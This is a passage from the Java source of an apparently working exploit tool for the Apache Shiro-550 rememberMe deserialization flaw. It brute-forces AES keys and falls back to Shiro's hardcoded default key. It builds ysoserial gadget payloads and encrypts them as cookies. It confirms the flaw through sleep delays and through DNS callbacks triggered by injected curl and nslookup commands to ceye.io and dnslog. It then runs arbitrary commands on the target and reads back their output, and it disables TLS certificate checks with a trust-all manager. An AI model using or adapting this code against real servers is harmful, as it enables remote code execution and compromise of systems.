116 | String[] cookies = cookie.trim().split(";");
117 | for(String temp : cookies){
118 | temp = temp.trim();
119 | if(temp.startsWith(Config.getInstance().getRememberMeCookieName() + "=")){
120 | setRememberMeCookie(Hex.encodeHexString(Base64.decodeBase64(temp.split("=",2)[1].trim())));
121 | }
122 | }
123 | }
124 | }catch(Exception e){
125 | e.printStackTrace();
126 | throw new Exception();
127 | }
128 | }
129 | }
130 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/MyX509TrustManager.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | import javax.net.ssl.TrustManager;
4 | import javax.net.ssl.X509TrustManager;
5 | import java.security.cert.CertificateException;
6 | import java.security.cert.X509Certificate;
7 |
8 | public class MyX509TrustManager implements TrustManager,X509TrustManager {
9 | public X509Certificate[] getAcceptedIssuers() {
10 | return null;
11 | }
12 |
13 | public boolean isServerTrusted(X509Certificate[] certs) {
14 | return true;
15 | }
16 |
17 | public boolean isClientTrusted(X509Certificate[] certs) {
18 | return true;
19 | }
20 |
21 | public void checkServerTrusted(X509Certificate[] certs, String authType) throws CertificateException {
22 | return;
23 | }
24 |
25 | public void checkClientTrusted(X509Certificate[] certs, String authType) throws CertificateException {
26 | return;
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/PayloadType.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | import java.util.ArrayList;
4 | import java.util.List;
5 |
6 | public enum PayloadType {
7 | CommonsBeanutils1("CommonsBeanutils1"),
8 | CommonsCollections1("CommonsCollections1"),
9 | CommonsCollections2("CommonsCollections2"),
10 | CommonsCollections3("CommonsCollections3"),
11 | CommonsCollections4("CommonsCollections4"),
12 | CommonsCollections5("CommonsCollections5"),
13 | CommonsCollections6("CommonsCollections6"),
14 | CommonsCollections7("CommonsCollections7"),
15 | CommonsCollections8("CommonsCollections8"),
16 | CommonsCollections9("CommonsCollections9"),
17 | CommonsCollections10("CommonsCollections10"),
18 | Jdk7u21("Jdk7u21"),
19 | Hibernate1("Hibernate1"),
20 | Hibernate2("Hibernate2"),
21 | Spring1("Spring1"),
22 | Spring2("Spring2"),
23 | Spring3("Spring3"),
24 | Myfaces1("Myfaces1"),
25 | Myfaces2("Myfaces2"),
26 | C3P0("C3P0"),
27 | Clojure("Clojure"),
28 | FileUpload1("FileUpload1"),
29 | Groovy1("Groovy1"),
30 | BeanShell1("BeanShell1"),
31 | JBossInterceptors1("JBossInterceptors1"),
32 | JSON1("JSON1"),
33 | JavassistWeld1("JavassistWeld1"),
34 | Jython1("Jython1"),
35 | MozillaRhino1("MozillaRhino1"),
36 | MozillaRhino2("MozillaRhino2"),
37 | ROME("ROME"),
38 | Vaadin1("Vaadin1"),
39 | Wicket1("Wicket1");
40 |
41 |
42 | private String name;
43 | private PayloadType(String name){
44 | this.name = name;
45 | }
46 |
47 | public String getName(){
48 | return this.name;
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/RememberMeCache.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | public class RememberMeCache {
4 | private static RememberMeCache rememberMeCache;
5 |
6 | // case "SpringEcho1":
7 | // case "SpringEcho2":
8 | // case "TomcatEcho":
9 | // case "TomcatEcho2":
10 | // case "JBossEcho":
11 | // case "WeblogicEcho":
12 | // case "ResinEcho":
13 | // case "JettyEcho":
14 | // case "AutoFindRequestEcho":
15 |
16 | private String SpringEcho1Cache;
17 | private String SpringEcho2Cache;
18 | private String TomcatEchoCache;
19 | private String TomcatEcho2Cache;
20 | private String JBossEchoCache;
21 | private String WeblogicEchoCache;
22 | private String ResinEchoCache;
23 | private String JettyEchoCache;
24 | private String AutoFindRequestEchoCache;
25 |
26 | private RememberMeCache(){
27 |
28 | }
29 |
30 | public static RememberMeCache getInstance(){
31 | if(rememberMeCache == null){
32 | rememberMeCache = new RememberMeCache();
33 | }
34 |
35 | return rememberMeCache;
36 | }
37 |
38 | public String getSpringEcho1Cache() {
39 | return SpringEcho1Cache;
40 | }
41 |
42 | public void setSpringEcho1Cache(String springEcho1Cache) {
43 | SpringEcho1Cache = springEcho1Cache;
44 | }
45 |
46 | public String getSpringEcho2Cache() {
47 | return SpringEcho2Cache;
48 | }
49 |
50 | public void setSpringEcho2Cache(String springEcho2Cache) {
51 | SpringEcho2Cache = springEcho2Cache;
52 | }
53 |
54 | public String getTomcatEchoCache() {
55 | return TomcatEchoCache;
56 | }
57 |
58 | public void setTomcatEchoCache(String tomcatEchoCache) {
59 | TomcatEchoCache = tomcatEchoCache;
60 | }
61 |
62 | public String getTomcatEcho2Cache() {
63 | return TomcatEcho2Cache;
64 | }
65 |
66 | public void setTomcatEcho2Cache(String tomcatEcho2Cache) {
67 | TomcatEcho2Cache = tomcatEcho2Cache;
68 | }
69 |
70 | public String getJBossEchoCache() {
71 | return JBossEchoCache;
72 | }
73 |
74 | public void setJBossEchoCache(String JBossEchoCache) {
75 | this.JBossEchoCache = JBossEchoCache;
76 | }
77 |
78 | public String getWeblogicEchoCache() {
79 | return WeblogicEchoCache;
80 | }
81 |
82 | public void setWeblogicEchoCache(String weblogicEchoCache) {
83 | WeblogicEchoCache = weblogicEchoCache;
84 | }
85 |
86 | public String getResinEchoCache() {
87 | return ResinEchoCache;
88 | }
89 |
90 | public void setResinEchoCache(String resinEchoCache) {
91 | ResinEchoCache = resinEchoCache;
92 | }
93 |
94 | public String getJettyEchoCache() {
95 | return JettyEchoCache;
96 | }
97 |
98 | public void setJettyEchoCache(String jettyEchoCache) {
99 | JettyEchoCache = jettyEchoCache;
100 | }
101 |
102 | public String getAutoFindRequestEchoCache() {
103 | return AutoFindRequestEchoCache;
104 | }
105 |
106 | public void setAutoFindRequestEchoCache(String autoFindRequestEchoCache) {
107 | AutoFindRequestEchoCache = autoFindRequestEchoCache;
108 | }
109 |
110 | public void setRememberMe(EchoType echoType, String rememberMeCookie){
111 | if(echoType.getName().equals("SpringEcho1")){
112 | setSpringEcho1Cache(rememberMeCookie);
113 | }else if(echoType.getName().equals("SpringEcho2")){
114 | setSpringEcho2Cache(rememberMeCookie);
115 | }else if(echoType.getName().equals("TomcatEcho")) {
116 | setTomcatEchoCache(rememberMeCookie);
117 | }else if(echoType.getName().equals("TomcatEcho2")){
118 | setTomcatEcho2Cache(rememberMeCookie);
119 | }else if(echoType.getName().equals("JBossEcho")){
120 | setJBossEchoCache(rememberMeCookie);
121 | }else if(echoType.getName().equals("WeblogicEcho")){
122 | setWeblogicEchoCache(rememberMeCookie);
123 | }else if(echoType.getName().equals("ResinEcho")){
124 | setResinEchoCache(rememberMeCookie);
125 | }else if(echoType.getName().equals("JettyEcho")){
126 | setJettyEchoCache(rememberMeCookie);
127 | }else if(echoType.getName().equals("AutoFindRequestEcho")){
128 | setAutoFindRequestEchoCache(rememberMeCookie);
129 | }
130 | }
131 |
132 | public String getRememberMe(EchoType echoType){
133 | if(echoType.getName().equals("SpringEcho1")){
134 | return getSpringEcho1Cache();
135 | }else if(echoType.getName().equals("SpringEcho2")){
136 | return getSpringEcho2Cache();
137 | }else if(echoType.getName().equals("TomcatEcho")){
138 | return getTomcatEchoCache();
139 | } else if(echoType.getName().equals("TomcatEcho2")){
140 | return getTomcatEcho2Cache();
141 | }else if(echoType.getName().equals("JBossEcho")){
142 | return getJBossEchoCache();
143 | }else if(echoType.getName().equals("WeblogicEcho")){
144 | return getWeblogicEchoCache();
145 | }else if(echoType.getName().equals("ResinEcho")){
146 | return getResinEchoCache();
147 | }else if(echoType.getName().equals("JettyEcho")){
148 | return getJettyEchoCache();
149 | }else if(echoType.getName().equals("AutoFindRequestEcho")){
150 | return getAutoFindRequestEchoCache();
151 | }
152 |
153 | return null;
154 | }
155 |
156 |
157 | }
158 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/Tools.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | import com.shiroexploit.core.AesEncrypt;
4 | import org.apache.commons.codec.DecoderException;
5 | import org.apache.commons.codec.binary.Base64;
6 | import org.apache.commons.codec.binary.Hex;
7 | import org.json.JSONArray;
8 | import org.json.JSONObject;
9 | import java.io.*;
10 | import java.net.MalformedURLException;
11 | import java.net.URL;
12 | import java.net.URLEncoder;
13 | import java.util.*;
14 |
15 | public class Tools {
16 |
17 | public static int deleteMeBaseCount = 1;
18 |
19 | public static String xor(String hex1, String hex2){
20 | if(hex1.length() % 2 !=0){
21 | hex1 = 0 + hex1;
22 | }
23 |
24 | if(hex2.length() % 2 != 0){
25 | hex2 = 0 + hex2;
26 | }
27 |
28 | int len = Math.min(hex1.length(), hex2.length());
29 | StringBuffer sb = new StringBuffer();
30 | for(int i=0; i < len; i=i+2){
31 | String temp1 = hex1.substring(hex1.length()-i-2, hex1.length()-i);
32 | String temp2 = hex2.substring(hex2.length()-i-2, hex2.length()-i);
33 | int num1 = Integer.parseInt(temp1,16);
34 | int num2 = Integer.parseInt(temp2,16);
35 |
36 | int res = num1 ^ num2;
37 | String hex = Integer.toHexString(res);
38 | if(hex.length() < 2){
39 | hex = 0 + hex;
40 | }
41 |
42 | sb.insert(0, hex);
43 | }
44 |
45 | return sb.toString();
46 | }
47 |
48 | public static String generateSuffix(int num) {
49 | if (num == 1) {
50 | return "";
51 | }
52 |
53 | String result = "";
54 | for (int i = 0; i < (num - 1); i++) {
55 | String hex = Integer.toHexString(num);
56 | if (hex.length() < 2) {
57 | hex = "0" + hex;
58 | }
59 | result += hex;
60 | }
61 |
62 | return result;
63 | }
64 |
65 | public static String generatePayload(String rememberMe, String IV, String cipherText){
66 | String payload = rememberMe + IV + cipherText;
67 | byte[] bytes = new byte[0];
68 | try {
69 | bytes = Hex.decodeHex(payload);
70 | } catch (DecoderException e) {
71 | e.printStackTrace();
72 | }
73 |
74 | return Base64.encodeBase64String(bytes);
75 | }
76 |
77 | public static byte[] exec(String cmd){
78 | Process process = null;
79 | try {
80 | if(File.separator.equals("/")){
81 | process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
82 | }else{
83 | process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", cmd});
84 | }
85 | } catch (IOException e) {
86 | e.printStackTrace();
87 | }
88 |
89 | InputStream in1 = process.getInputStream();
90 | byte[] stdout = inputStreamToBytes(in1);
91 |
92 | InputStream in2 = process.getErrorStream();
93 | byte[] stderr = inputStreamToBytes(in2);
94 |
95 | if(stdout.length != 0){
96 | return stdout;
97 | }else{
98 | return stderr;
99 | }
100 | }
101 |
102 | public static byte[] inputStreamToBytes(InputStream in){
103 | ByteArrayOutputStream baos = null;
104 | try{
105 | baos = new ByteArrayOutputStream();
106 | int len = 0;
107 | byte[] bytes = new byte[1024];
108 | while((len = in.read(bytes)) != -1){
109 | baos.write(bytes, 0, len);
110 | }
111 |
112 | byte[] result = baos.toByteArray();
113 | return result;
114 | }catch(IOException e){
115 | return null;
116 | }finally {
117 | try {
118 | if(baos != null){
119 | baos.close();
120 | }
121 |
122 | if(in != null){
123 | in.close();
124 | }
125 | } catch (IOException e) {
126 | e.printStackTrace();
127 | }
128 | }
129 | }
130 |
131 | public static String getValidKeyFromCeye(Map map, String token){
132 | try{
133 | //延迟几秒,确保ceye产生正确的响应
134 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
135 | } catch (InterruptedException e) {
136 | e.printStackTrace();
137 | }
138 |
139 | for(String uuid : map.keySet()){
140 | String url = "http://api.ceye.io/v1/records?token=" + token + "&type=dns&filter=" + uuid.substring(0,20);
141 |
142 | String result = null;
143 | try {
144 | result = HttpRequest.getResponse(url);
145 | } catch (IOException e) {
146 | //pass
147 | }
148 |
149 | if(result == null) continue;
150 | if(result.trim().equals("")) continue;
151 | JSONObject jsonObject = new JSONObject(result);
152 | JSONArray array = jsonObject.getJSONArray("data");
153 | if(array.length() > 0){
154 | return map.get(uuid);
155 | }
156 | }
157 |
158 | return null;
159 | }
160 |
161 | public static List getValidGadgetsFromCeye(Map map, String token){
162 | try{
163 | //延迟几秒,确保ceye产生正确的响应
164 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
165 | } catch (InterruptedException e) {
166 | e.printStackTrace();
167 | }
168 |
169 | List list = new ArrayList<>();
170 |
171 | for(String uuid : map.keySet()){
172 | String url = "http://api.ceye.io/v1/records?token=" + token + "&type=dns&filter=" + uuid.substring(0,20);
173 | String result = null;
174 | try {
175 | result = HttpRequest.getResponse(url);
176 | } catch (IOException e) {
177 | //pass
178 | }
179 | if(result == null) continue;
180 | if(result.trim().equals("")) continue;
181 | JSONObject jsonObject = new JSONObject(result);
182 | JSONArray array = jsonObject.getJSONArray("data");
183 | if(array.length() > 0){
184 | list.add(map.get(uuid));
185 | }
186 | }
187 |
188 | return list;
189 | }
190 |
191 | public static boolean getCeyeResult(String uuid, String token){
192 | try{
193 | //延迟几秒,确保ceye产生正确的响应
194 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
195 | } catch (InterruptedException e) {
196 | e.printStackTrace();
197 | }
198 |
199 | String url = "http://api.ceye.io/v1/records?token=" + token + "&type=dns&filter=" + uuid.substring(0,20);
200 | String result = null;
201 | try {
202 | result = HttpRequest.getResponse(url);
203 | } catch (IOException e) {
204 | e.printStackTrace();
205 | }
206 |
207 | JSONObject jsonObject = new JSONObject(result);
208 | JSONArray array = jsonObject.getJSONArray("data");
209 | if(array.length() > 0){
210 | return true;
211 | }
212 |
213 | return false;
214 | }
215 |
216 | public static String getValidKeyFromDNSLog(Map map)
217 | {
218 | try {
219 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
220 | } catch (InterruptedException e) {
221 | e.printStackTrace();
222 | }
223 |
224 | String dnsRecord;
225 | try {
226 | dnsRecord = HttpRequest.getDNSLogResult();
227 | } catch (IOException e) {
228 | return null;
229 | }
230 |
231 | if (dnsRecord == null) return null;
232 |
233 | for (String uuid : map.keySet()) {
234 | if (dnsRecord.contains(uuid)) {
235 | return map.get(uuid);
236 | }
237 | }
238 |
239 | return null;
240 | }
241 |
242 | public static List getValidGadgetsFromDNSLog(Map map) {
243 | List list = new ArrayList();
244 |
245 | try {
246 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
247 | } catch (InterruptedException e) {
248 | e.printStackTrace();
249 | }
250 |
251 | String dnsRecord = null;
252 | try {
253 | dnsRecord = HttpRequest.getDNSLogResult();
254 | } catch (IOException e) {
255 | //pass
256 | }
257 |
258 | if (dnsRecord == null) return list;
259 |
260 |
261 | for (String uuid : map.keySet()) {
262 | if (dnsRecord.contains(uuid)) {
263 | list.add(map.get(uuid));
264 | }
265 | }
266 |
267 | return list;
268 | }
269 |
270 | public static boolean getValidDNSLogRecord(String uuid)
271 | {
272 | try {
273 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
274 | } catch (InterruptedException e) {
275 | e.printStackTrace();
276 | }
277 |
278 | String dnsRecord;
279 | try {
280 | dnsRecord = HttpRequest.getDNSLogResult();
281 | } catch (IOException e) {
282 | return false;
283 | }
284 |
285 | if (dnsRecord == null) return false;
286 |
287 | return dnsRecord.contains(uuid);
288 | }
289 |
290 | public static void setJRMPServer(String ip, int port, PayloadType type, String cmd){
291 | String finalcmd = "";
292 | try {
293 | finalcmd = URLEncoder.encode(cmd,"UTF-8");
294 | finalcmd = finalcmd.replaceAll("\\+","%20");
295 | } catch (UnsupportedEncodingException e) {
296 | e.printStackTrace();
297 | }
298 |
299 | String url = "http://" + ip + ":" + port + "/jrmp?type=" + type.getName() + "&cmd=" + finalcmd;
300 |
301 | try {
302 | HttpRequest.getResponse(url);
303 | } catch (IOException e) {
304 | //pass
305 | }
306 |
307 | //给时间让server端把JRMPListener建立起来
308 | try {
309 | Thread.sleep(2000);
310 | } catch (InterruptedException e) {
311 | e.printStackTrace();
312 | }
313 | }
314 |
315 | public static void killJRMPListener(int port){
316 | if(File.separator.equals("/")){
317 | killJRMPListenerInLinux(port);
318 | }else{
319 | killJRMPListenerInWindows(port);
320 | }
321 | }
322 |
323 | public static void killJRMPListenerInWindows(int port){
324 | String pid = null;
325 | String getPid = "netstat -ano | findstr \"" + port + "\"";
326 | byte[] res = exec(getPid);
327 | String result = new String(res);
328 | if(result.trim().equals("")) return;
329 | String[] lines = result.split("\r\n|\n");
330 | for(String line : lines){
331 | String[] parts = line.trim().split("\\s+");
332 | if(parts[3].equalsIgnoreCase("listening")){
333 | pid = parts[4];
334 | break;
335 | }
336 | }
337 |
338 | if(pid != null){
339 | String killPid = "taskkill /F /pid " + pid;
340 | exec(killPid);
341 | }
342 | }
343 |
344 | public static void killJRMPListenerInLinux(int port){
345 | String pid = null;
346 | String getPid = "lsof -i:" + port;
347 | byte[] res = exec(getPid);
348 | String result = new String(res);
349 | if(result.trim().equals("")) return;
350 | String[] lines = result.split("\r\n|\n");
351 | String[] parts = lines[1].trim().split("\\s+");
352 | pid = parts[1];
353 |
354 | if(pid != null){
355 | String killPid = "kill -9 " + pid;
356 | exec(killPid);
357 | }
358 | }
359 |
360 | public static List getPaths(String staticFilePath){
361 | List paths = new ArrayList<>();
362 |
363 | URL url = null;
364 | try {
365 | url = new URL(staticFilePath);
366 | } catch (MalformedURLException e) {
367 | e.printStackTrace();
368 | }
369 | String path = url.getPath();
370 |
371 | if(path.startsWith("\\") || path.startsWith("/")){
372 | path = path.substring(1);
373 | }
374 |
375 | paths.add(path);
376 |
377 | int index1 = path.indexOf("/");
378 | int index2 = path.indexOf("\\");
379 | int index = -1;
380 |
381 | if(index1 >= 0 && index2 >= 0){
382 | index = index1 < index2 ? index1 : index2;
383 | }else if(index1 < 0 && index2 < 0){
384 | index = -1;
385 | }else{
386 | index = index1 > index2 ? index1 : index2;
387 | }
388 |
389 | if(index >= 0){
390 | path = path.substring(index + 1);
391 | paths.add(path);
392 | }
393 |
394 | return paths;
395 | }
396 |
397 | public static List getPayloadNames(){
398 | List list = new ArrayList<>();
399 |
400 | for(PayloadType type : PayloadType.values()) {
401 | list.add(type.getName());
402 | }
403 |
404 | return list;
405 | }
406 |
407 | public static List getEchoTypes(){
408 | List list = new ArrayList<>();
409 |
410 | for(EchoType type : EchoType.values()) {
411 | list.add(type.getName());
412 | }
413 |
414 | return list;
415 | }
416 |
417 | public static T randomSelect(List list){
418 | int index = new Random().nextInt(list.size());
419 | return list.get(index);
420 | }
421 |
422 | public static void getDeleteMeBaseCount(){
423 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" ShiroCheck anything";
424 | byte[] payload = Tools.exec(command);
425 | //故意设置的一个错误的 Key
426 | String rememberMe = AesEncrypt.encrypt("66666666666666666666Ng==", payload);
427 |
428 | Tools.deleteMeBaseCount = HttpRequest.getDeleteMeCount(Config.getInstance().getRequestInfo(), rememberMe);
429 | }
430 |
431 | public static String getValidKeyUsingSimplePrincipalCollection(){
432 | System.out.println("[*] Trying identify valid key using SimplePrincipalCollection by l1nk3r");
433 |
434 | getDeleteMeBaseCount();
435 |
436 | for(String key : Config.getInstance().getKeys()){
437 | System.out.println("[*] Trying Key: " + key);
438 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" ShiroCheck anything";
439 | byte[] payload = Tools.exec(command);
440 | String rememberMe = AesEncrypt.encrypt(key, payload);
441 | if(HttpRequest.getDeleteMeCount(Config.getInstance().getRequestInfo(), rememberMe) < Tools.deleteMeBaseCount){
442 | return key;
443 | }
444 | }
445 |
446 | return null;
447 | }
448 | }
449 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifierUsingEcho.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.vulnverifier;
2 |
3 | import com.shiroexploit.core.AesEncrypt;
4 | import com.shiroexploit.util.*;
5 | import java.io.File;
6 | import java.util.*;
7 |
8 | public class Shiro550VerifierUsingEcho implements Verifier{
9 | private Config config;
10 | private String key;
11 | private List gadgets;
12 | private List echoTypes;
13 |
14 | public Shiro550VerifierUsingEcho(){
15 | System.out.println("[*] Using Shiro550VerifiertUsingEcho");
16 | this.config = Config.getInstance();
17 | this.gadgets = new ArrayList<>();
18 | this.echoTypes = new ArrayList<>();
19 | }
20 |
21 | @Override
22 | public void getValidGadget() throws ExploitFailedException {
23 | this.key = Tools.getValidKeyUsingSimplePrincipalCollection();
24 | if(this.key == null){
25 | if(config.getSessionId() != null && !config.getSessionId().isEmpty() && config.getDnsLogRecord() != null && !config.getDnsLogRecord().isEmpty()){
26 | Map keyMap = sendURLDNSPayloads();
27 | this.key = Tools.getValidKeyFromDNSLog(keyMap);
28 | }else{
29 | System.out.println("[!] dnslog.cn is currently not available, skip URLDNS method");
30 | }
31 |
32 | }
33 |
34 | if(this.key == null){
35 | // throw new ExploitFailedException("[-] Can not find a valid key");
36 | // 这里的目的以为遇到一个 bug,即使 key 正确, 在反序列化 SimplePrincipalCollection 的时候仍然返回了 rememberMe=deleteMe
37 | // 这里为了防止这种问题再次发生,即使找不到 key, 也使用 Shiro 默认的 key 把所有的 gadget 跑一遍
38 | System.out.println("[-] Can not find a valid key");
39 | System.out.println("[!] Continue with Shiro default key:kPH+bIxk5D2deZiIxcaaaA==");
40 | this.key = "kPH+bIxk5D2deZiIxcaaaA==";
41 | }else{
42 | System.out.println("[+] Find Valid Key: " + this.key);
43 | }
44 |
45 | for(PayloadType type : config.getGadgets()){
46 | System.out.println("[*] Trying Gadget: " + type.getName());
47 |
48 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName()
49 | + " directive:sleep:10";
50 |
51 | byte[] payload = Tools.exec(command);
52 | String rememberMe = AesEncrypt.encrypt(key, payload);
53 |
54 | int delay = HttpRequest.getRequestDelay(config.getRequestInfo(),rememberMe);
55 | if(delay >= 9){
56 | int secondTest = delay + 5;
57 | command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName()
58 | + " directive:sleep:" + secondTest;
59 |
60 | payload = Tools.exec(command);
61 | rememberMe = AesEncrypt.encrypt(key, payload);
62 | delay = HttpRequest.getRequestDelay(config.getRequestInfo(),rememberMe);
63 |
64 | if(delay >= secondTest - 1){
65 | System.out.println("[+] Time delay confirmed, target seems vulnerable");
66 | this.key = key;
67 | this.gadgets.add(type);
68 |
69 | getValidEchoMethod();
70 |
71 | if(this.echoTypes.size() > 0){
72 | System.out.println("[+] Vuln Confirmed");
73 | System.out.println("[+] Find Valid Key: " + this.key);
74 | System.out.println("[+] Find Valid Gadget: " + this.gadgets.get(0));
75 | for(EchoType echoType : this.echoTypes){
76 | System.out.println("[+] Find Valid Echo Method: " + echoType.getName());
77 | }
78 | break;
79 | }else{
80 | System.out.println("[-] can not find a valid echo method");
81 | System.out.println("[+] Identified Key: " + this.key);
82 | System.out.println("[+] Identified Gadget: " + this.gadgets.get(0));
83 | this.gadgets.clear();
84 | }
85 | }
86 | }
87 | }
88 |
89 | if(this.gadgets.size() == 0){
90 | throw new ExploitFailedException("[-] Can not find a valid key or find a valid Gadget!");
91 | }
92 | }
93 |
94 | private void getValidEchoMethod(){
95 | System.out.println("[*] Trying different echo methods");
96 | this.echoTypes = EchoUtil.getValidEchoType(this.key, this.gadgets.get(0));
97 | }
98 |
99 | @Override
100 | public String executeCmd(String cmd) {
101 | PayloadType payloadType = Tools.randomSelect(gadgets);
102 | EchoType echoType = Tools.randomSelect(echoTypes);
103 |
104 | if(cmd.startsWith("directive:")){
105 | System.out.println("[*] Using Key " + this.key);
106 | System.out.println("[*] Using Gadget " + payloadType.getName());
107 | System.out.println("[*] Executing command: " + cmd + "...");
108 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\"";
109 | byte[] result = Tools.exec(command);
110 | String rememberMe = AesEncrypt.encrypt(this.key, result);
111 |
112 | HttpRequest.request(config.getRequestInfo(), rememberMe);
113 | System.out.println("[+] Done");
114 | return "";
115 | }
116 |
117 | System.out.println("");
118 | System.out.println("[*] Using Key " + this.key);
119 | System.out.println("[*] Using Gadget " + payloadType.getName());
120 | System.out.println("[*] Using Echo Method " + echoType.getName());
121 | System.out.println("[*] Executing command: " + cmd + "...");
122 |
123 |
124 | String result = EchoUtil.getEchoResult(key, payloadType, cmd, echoType);
125 | System.out.println("[+] Done");
126 |
127 | return result;
128 | }
129 |
130 | private Map sendURLDNSPayloads(){
131 | Map map = new HashMap<>();
132 |
133 | for(String key : config.getKeys()){
134 | System.out.println("[*] Trying Key: " + key);
135 | String uuid = UUID.randomUUID().toString().replaceAll("-", "");
136 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getDnsLogRecord();
137 | byte[] payload = Tools.exec(command);
138 | String rememberMe = AesEncrypt.encrypt(key, payload);
139 | HttpRequest.request(config.getRequestInfo(), rememberMe);
140 | map.put(uuid, key);
141 | }
142 |
143 | return map;
144 | }
145 | }
146 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertUsingCeye.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.vulnverifier;
2 |
3 | import com.shiroexploit.core.AesEncrypt;
4 | import com.shiroexploit.util.*;
5 | import java.io.File;
6 | import java.util.*;
7 |
8 | public class Shiro550VerifiertUsingCeye implements Verifier {
9 | private Config config;
10 | private String key;
11 | private List gadgets;
12 | private Boolean flag = false;
13 |
14 | public Shiro550VerifiertUsingCeye(){
15 | System.out.println("[*] Using Shiro550VerifiertUsingCeye");
16 | this.config = Config.getInstance();
17 | this.gadgets = new ArrayList<>();
18 | }
19 |
20 |
21 | @Override
22 | public void getValidGadget() throws ExploitFailedException {
23 | this.key = Tools.getValidKeyUsingSimplePrincipalCollection();
24 | if(this.key == null){
25 | System.out.println("[!] Can not find a valid key");
26 | System.out.println("[!] Regression with URLDNS method");
27 | Map keyMap = sendURLDNSPayloads();
28 | this.key = Tools.getValidKeyFromCeye(keyMap, config.getCeyeToken());
29 | }
30 |
31 | if(this.key == null){
32 | throw new ExploitFailedException("[-] Can not find a valid key");
33 | }
34 | System.out.println("[+] Find Valid Key: " + this.key);
35 |
36 | Map gadgetMap = sendAllCurlPayloads();
37 | this.gadgets = Tools.getValidGadgetsFromCeye(gadgetMap, config.getCeyeToken());
38 | if(this.gadgets.size() == 0){
39 | throw new ExploitFailedException("[-] Can not find a valid gadget");
40 | }
41 |
42 | for(PayloadType type : gadgets){
43 | System.out.println("[+] Find Valid Gadget: " + type.getName());
44 | }
45 |
46 | this.flag = true;
47 | }
48 |
49 | @Override
50 | public String executeCmd(String cmd){
51 | PayloadType payloadType = Tools.randomSelect(gadgets);
52 |
53 | System.out.println("[*] Using Key " + this.key);
54 | System.out.println("[*] Using Gadget " + payloadType.getName());
55 | System.out.println("[*] Executing command: " + cmd + "...");
56 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\"";
57 | byte[] result = Tools.exec(command);
58 | String rememberMe = AesEncrypt.encrypt(this.key, result);
59 |
60 | HttpRequest.request(config.getRequestInfo(), rememberMe);
61 | System.out.println("[+] Done");
62 |
63 | return null;
64 | }
65 |
66 | private Map sendAllCurlPayloads(){
67 | Map map = new HashMap<>();
68 |
69 | for(PayloadType payloadType : config.getGadgets()){
70 | System.out.println("[*] Trying Gadget: " + payloadType.getName());
71 |
72 | String uuid = UUID.randomUUID().toString().replaceAll("-", "");
73 |
74 | List commands = new ArrayList<>();
75 | //linux
76 | commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"curl http://" + uuid + "." + config.getCeyeDomain() + "\"");
77 | //windows
78 | commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"nslookup " + uuid + "." + config.getCeyeDomain() + "\"");
79 |
80 | for(String command : commands){
81 | byte[] payload = Tools.exec(command);
82 | String rememberMe = AesEncrypt.encrypt(this.key, payload);
83 | HttpRequest.request(config.getRequestInfo(), rememberMe);
84 | }
85 |
86 | map.put(uuid,payloadType);
87 | }
88 |
89 | return map;
90 | }
91 |
92 | private Map sendURLDNSPayloads(){
93 | Map map = new HashMap<>();
94 |
95 | for(String key : config.getKeys()){
96 | System.out.println("[*] Trying Key: " + key);
97 | String uuid = UUID.randomUUID().toString().replaceAll("-", "");
98 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getCeyeDomain();
99 | byte[] payload = Tools.exec(command);
100 | String rememberMe = AesEncrypt.encrypt(key, payload);
101 | HttpRequest.request(config.getRequestInfo(), rememberMe);
102 | map.put(uuid, key);
103 | }
104 |
105 | return map;
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertUsingDNSLog.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.vulnverifier;
2 |
3 | import com.shiroexploit.core.AesEncrypt;
4 | import com.shiroexploit.util.*;
5 | import java.io.File;
6 | import java.util.*;
7 |
8 | public class Shiro550VerifiertUsingDNSLog implements Verifier {
9 | private Config config;
10 | private String key;
11 | private List gadgets;
12 | private Boolean flag = false;
13 |
14 | public Shiro550VerifiertUsingDNSLog(){
15 | this.config = Config.getInstance();
16 | System.out.println("[*] Using Shiro550VerifiertUsingDNSLog");
17 | System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId());
